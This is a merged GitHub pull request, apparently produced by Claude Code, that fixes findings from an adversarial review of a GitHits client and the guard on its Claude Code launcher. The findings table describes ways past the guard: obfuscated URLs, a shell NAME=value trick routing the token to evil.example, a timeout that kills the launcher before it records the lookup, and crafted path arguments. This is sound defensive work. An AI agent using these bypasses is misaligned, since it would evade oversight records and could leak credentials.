Skip to content

Close the contamination, license, launcher and record bypasses an independent adversarial review found in the GitHits client and its Claude Code launcher before the A/B pilot. - #142

Merged
3 commits merged into
mainfrom
fix/githits-client-adversarial
Oct 27, 2026
Merged

3 commits merged into
mainfrom
fix/githits-client-adversarial

Conversation

@sdcarlson

@sdcarlson sdcarlson commented Oct 26, 2026 •

Copy link
Copy Markdown
Contributor

An independent adversarial verification of #129 (GitHits client) and #134 (its Claude Code launcher), re-run on #135, before the paid A/B pilot uses them. It was not built through syberlabs propose. Every finding below has a regression test in tests/test_githits_adversarial.py that fails on main (4219850) and passes on this branch, except finding 14. That one is in #138's open code and is pinned as an expected failure. No call reached the real GitHits API; everything runs against the loopback FakeGitHits and the stand-in claude.

Findings

# Sev Property Finding (repro) Status
1 High contamination A target URL that a URL parser or lenient server reads as github.com/SyberLabs/... was not refused, so the request left: a port (https://github.com:443/SyberLabs/SyberWork), the root dot, dot segments (/x/../SyberLabs, %2e%2e), fullwidth hosts, 。/., a zero-width space, github: SyberLabs/x, pypi: syberlabs, a backslash, double encoding. End to end, the agent's {launcher} read https://github.com:443/SyberLabs/SyberWork passed the real guard and launcher and reached GitHits. New, fixed
2 High contamination SyberLabs' own site was refused only as the bare apex syberlabs.io, by the registry:owner rule. site:www.syberlabs.io and rise./omni./sketch.syberlabs.io passed every layer, and a search or grep hit served from https://syberlabs.io/projects/syberwork/ was kept. The site's llms-full.txt describes SyberWork. New, fixed
3 Medium contamination A search hit's summary (a preview of up to 16 KiB) or a grep line citing github.com/SyberLabs/... was kept, while a read whose body holds the same text is blocked. New, fixed
4 Medium licenses Only [text](https://<code host>/...) (SPDX) counted as a source. A copyleft source written as a reference link, a titled, angle-bracketed or uppercase-scheme link, an autolink, an HTML anchor or a bare URL with its license was missed, and so was an SPDX-License-Identifier: GPL-3.0-only tag in the generated code. One MIT source then admitted the whole example. New, fixed
5 Medium (high impact, config-dependent) launcher only / token The guard reads arguments "exactly as the shell will", but under bash set -k a NAME=value word after the launcher becomes environment. So {launcher} search q --target pypi:x GITHITS_API_URL=https://evil.example/v1 would send the token there, and SYBERLABS_GITHITS_LICENSES=any would turn the license check off. In zsh (macOS default) =cmd expands to a path (EQUALS is on by default) and ^ globs under EXTENDED_GLOB. PowerShell, which #135 judges by the same rule, splats @name. New, fixed (refused unquoted)
6 Medium records The guard ignored the Bash tool's timeout, so the agent could have Claude Code kill the launcher after its request left and before the client records (it records after the answer). The lookup then got no lookup fact, only mismatch: githits_unrecorded. New, fixed (a timeout under the 2-minute default is refused; SIGTERM is recorded)
7 Low records An error after the request left skipped _record: a non-object hit (AttributeError in _filter), JSON nested past the recursion limit, or an interruption. This is #139 finding 1. Fixed
8 Low records A timeout after GitHits received the request and a refused connection left identical records. This is #139 finding 2. Fixed: sent on every record and fact
9 Low records A launcher call in flight when the host's call timeout killed Claude Code left no trace, because a failed call registers no candidate to carry the mismatch. This is #139 finding 3. Fixed (see below)
10 Low accounting A provider built in Python sent X-GitHits-Session-ID: s1-b for every thread. This is #139 finding 4. Fixed: <thread>-<arm>
11 Low token doctor printed Retry-After unscrubbed. A server echoing the token there (as the X-Request-ID fix anticipates) would put it into a CI canary's log. New, fixed
12 Medium (server-dependent) contamination #135's allow-list admits the five lookups, but their path arguments were never checked, only targets were. Examples: read site:docs.python.org --path //syberlabs.io/... (a network-path reference), --path @syberlabs.io/... (userinfo, if the site and path are concatenated), or an absolute URL. The same holds for list --path, grep --glob and search path_prefix. All pass the guard as plain words. A server that joins site and path as a URL would fetch SyberLabs' site. New, fixed: refused before any request
13 Low records The CLI writes the record before it renders. A hit outside the contract (a locator that is not an object, a non-object list entry or grep hit) made render raise after an ok record: the agent saw a traceback, the record said ok. New, fixed: render never raises on such data
14 Low records In #138's code: Client._finish records error only when deliver raises OSError/ValueError. Any other exception, or the SystemExit a SIGTERM becomes, leaves no record for a request that reached GitHits. Pinned as @unittest.expectedFailure (OutputMatchesTheRecord.test_pr_138_...)
- Medium licenses The launcher accepted example --license-mode yolo, which turns GitHits' server-side license filter off. Already fixed by #135 (launcher_parser); kept in the end-to-end test

Nothing here duplicates #138. #138 fixes output delivery (print before record, encoding errors replaced), which covers an OSError or ValueError while printing after an ok record: a broken pipe, or a cp1252 console. Two things here are outside that: the post-send errors of finding 7 (in json.loads and _filter, before any output) and the render crash of finding 13 (an AttributeError, which #138's _finish does not catch). render is not touched by #138.

What changed

  • githits.py: the Exclusions readings and owner-domain rule; request_paths (a path, glob or prefix that mentions an excluded owner is refused like a target); render reads an item outside the contract as empty; free text in hits, entries and read metadata; example_licenses in every link form plus SPDX tags; call()/doctor() record on any failure after send; sent; the Retry-After scrub.
  • query_guard.py: ^ is no longer plain. An unquoted word starting with =, @ or NAME= is shell_syntax, and passes quoted. A timeout under MIN_BASH_TIMEOUT_MS (120000) is shell_syntax.
  • githits_cli_entry.py: SIGTERM becomes SystemExit once a lookup is parsed, so the client records the call.
  • claude_code.py: record_lookup carries sent. On a failed call with fewer records than guarded launcher calls, the records are journaled guard: unguarded; with none, one githits.unrecorded fact stands for each guarded launcher call. _session falls back to the space's thread.
  • docs/CLAUDE_CODE.md: the guard rules, what is recorded, and the session.

Design questions, left as they are

  1. Packages, forks, mirrors. A SyberLabs package not named after the owner passes layer (a), e.g. pypi:syberwork, this repository's distribution. So do forks and member accounts (sykosyber/..., a transferred repo's redirect) and front-ends (deepwiki.com/SyberLabs/SyberWork). An existing test deliberately pins /<owner>/ on a non-code host as not excluded.
  2. License data on non-example results. Search, grep, list and read carry no license in 0.1.0, so read of a GPL file passes unjudged. "Permissive only" holds for examples alone.
  3. WITH exceptions. The exception is not judged, so MIT WITH Commons-Clause is admitted.
  4. Non-code-host sources, and the real example format. An annotated source on a host outside the code-host list (docs.rs, sr.ht, a self-hosted GitLab) is not counted as a source. Finding 4's fix fails closed on link forms, and the real server's example Markdown has never been observed. If GitHits writes sources as reference links, with the license on the reference's use rather than its definition, every example would now be dropped. Check this on the first live example; if so, the license should be read from the use.
  5. Residual suppression. A launcher still loses its record on SIGKILL, or when it outlives the Bash tool's own 2-minute timeout (list/grep --wait-ms 210000 gives the client 240 s). Only the mismatch flags it. Options: a write-ahead record, a client deadline under the Bash timeout, or journaling unrecorded launcher calls on success too.
  6. no_change calls. These still lose their mismatch (spec/GAPS.md 59 (12)).
  7. Query text steering. A query that names an excluded owner, such as example "the SyberWork admission kernel from SyberLabs", is not refused; the skill only asks the agent not to. It steers GitHits toward SyberLabs code, which layer (c) catches only when the example cites it. A guard rule on the owner's name is cheap but is a policy choice.

Coordination

Test evidence

https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz


Generated by Claude Code

…its Claude Code launcher before the A/B pilot

An independent adversarial verification of #129 and #134 (with #135), not built through
`syberlabs propose`. Each finding has a regression test in tests/test_githits_adversarial.py
that fails on main (4219850) and passes here.

Contamination control (githits.py):
- every exclusion layer reads a text as a URL parser (WHATWG URL with IDNA) or a lenient
  server may: percent-decoded to a fixed point, NFKC-folded with format characters removed,
  ideographic and fullwidth stops as ".", a backslash as "/", a host's port or root dot
  ignored, and for a locator "." and ".." segments resolved and whitespace removed
  (https://github.com:443/SyberLabs/x, https://github.com/x/../SyberLabs/x, fullwidth
  hosts and "github: SyberLabs/x" left the machine before);
- an owner's own domains (syberlabs.io, www.syberlabs.io, rise.syberlabs.io) are excluded
  like <owner>.github.io; before, only the bare apex was refused, and only as a target;
- a search hit, grep hit or list entry whose text cites an excluded owner is dropped and
  counted, as a read body citing one is blocked.

Licenses (githits.py): a code-host source in any Markdown or HTML link form (reference,
titled, angle-bracketed, autolink, anchor, bare URL with its license) and any
SPDX-License-Identifier tag in an example's code are judged; before, one permissive inline
link admitted an example whose other source was copyleft.

The launcher and its guard (query_guard.py, githits_cli_entry.py): an unquoted word a shell
reads differently from the guard is refused (=cmd under zsh, NAME=value under bash set -k,
which would put GITHITS_API_URL into the launcher's environment, @name under PowerShell,
and ^ under zsh's EXTENDED_GLOB); a Bash timeout under the two-minute default is refused, so
the agent cannot end the client after its request left and before it records; a SIGTERM
becomes SystemExit in the launcher's entry, so a launcher ended that way records its call.

Records and accounting (githits.py, claude_code.py; #139's four findings):
- a call records whatever happens after its request may have left (an answer this client
  cannot read is malformed_response, an interruption is recorded before it propagates);
- each record says whether its request was written to the server (sent), so a timeout
  after GitHits received a request and a refused connection no longer leave the same record;
- a failed or timed-out call whose launcher calls outnumber its records journals those
  records guard: unguarded, or a githits.unrecorded fact for each launcher call when it has
  none, instead of losing the lookup that was in flight;
- X-GitHits-Session-ID is <thread>-<arm> for a provider built in Python too, not s1-b.

Token: doctor's Retry-After is scrubbed like X-Request-ID.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 26, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ✅ Completed 2026-10-26T21:50:47.159243Z 219a677 PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

…sh rendering after an ok record, and pin #138's delivery gap

#135 lets the launcher run only the five lookups, but their path arguments were never checked:
read site:docs.python.org --path //syberlabs.io/... (a network-path reference), --path
@syberlabs.io/... (userinfo, when a server concatenates site and path), an absolute URL, and
the same in list --path, grep --glob and search path_prefix pass the guard as plain words. A
server that joins the site and the path as a URL would read SyberLabs' site. request_paths
collects them and call refuses one that mentions an excluded owner, before any request.

The CLI writes the record before it renders. A hit outside the contract (a locator that is
not an object, a list entry or grep hit that is not one) made render raise after an ok record:
the agent saw a traceback while the record said ok. render now reads such an item as empty.

#138 (open) writes the record after its deliver callback and records error only for an OSError
or ValueError from it; any other exception leaves no record for a request that reached GitHits.
Pinned as an expected failure until #138 records every failed delivery.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 219a6777a4

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread syberlabs/claude_code.py
Comment on lines +345 to +346
return record_lookup({"op": UNRECORDED_OP, "query_digest": call.get("query_digest"), "at": call.get("at"),
"sent": None}, query_guard.UNGUARDED)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Handle synthetic lookup facts in the metrics reader

When a failed or timed-out provider call leaves no client record, this creates a synthetic githits.unrecorded fact, but metrics._thread counts every githits.* fact except githits.doctor as an authentic client record. Consequently, a journal containing only this placeholder reports githits_lookups.value = 1 with the note host-observed: authentic GitHits client records, even though the launcher may never have started the client. Update the metrics reader alongside this new fact type so missing records preserve an unknown count rather than becoming a definite measurement in the A/B results.

Useful? React with 👍 / 👎.

… differently

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
sdcarlson added a commit that referenced this pull request Oct 26, 2026
#142 closes the four accounting findings this branch pinned as expected
failures:
- the client records every failure after a request is sent;
- records carry sent;
- a failed call journals its unrecorded launcher calls;
- a provider built in Python names its thread in the session.

It is based on main 4219850, which this branch already merged. The merge was
clean. #142 should merge first; this branch includes its commits until then.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
sdcarlson added a commit that referenced this pull request Oct 26, 2026
…ed against the server

#142 closes the four findings this module pinned as expected failures:

- The markers are gone. The three tests of githits.py and claude_code.py
  behaviour now pin what #142 does, in a Fixed class: an unreadable answer is
  recorded (malformed_response, sent), a timeout and a refused connection
  differ in sent, and a provider built in Python names its thread in the
  session.
- The in-flight-at-timeout case moves to Unknowable. Its failed call now
  journals its records unguarded, or a githits.unrecorded fact when it has
  none, so the count is unknown instead of a known number one short.
- The crash-after-send twin is now recorded, so it moves to Exact (2/2/2). The
  usage-error case stays unknown: a SIGKILL or a failed record write after a
  request left still leaves the same journal.

Every case now also compares the facts with sent: true to the server's count.
They match in every case except a lookup killed in flight, which the journal
marks unguarded or githits.unrecorded.

docs/METRICS.md: the unknown condition names githits.unrecorded facts, and the
ground-truth bullet records the above.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01HCTqqTVthqCzZJu6MWasuz
@sdcarlson sdcarlson closed this pull request by merging all changes into main in 0b03040 Oct 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant